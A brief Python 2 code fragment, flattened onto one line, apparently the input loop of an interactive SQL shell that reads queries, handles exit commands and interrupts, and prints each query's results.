except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not query: continue if query.lower() in ( "x", "q", "exit", "quit" ): break output = self.sqlQuery(query) if output and output != "Quit": conf.dumper.query(query, output) elif not output: pass elif output != "Quit": dataToStdout("No output\n")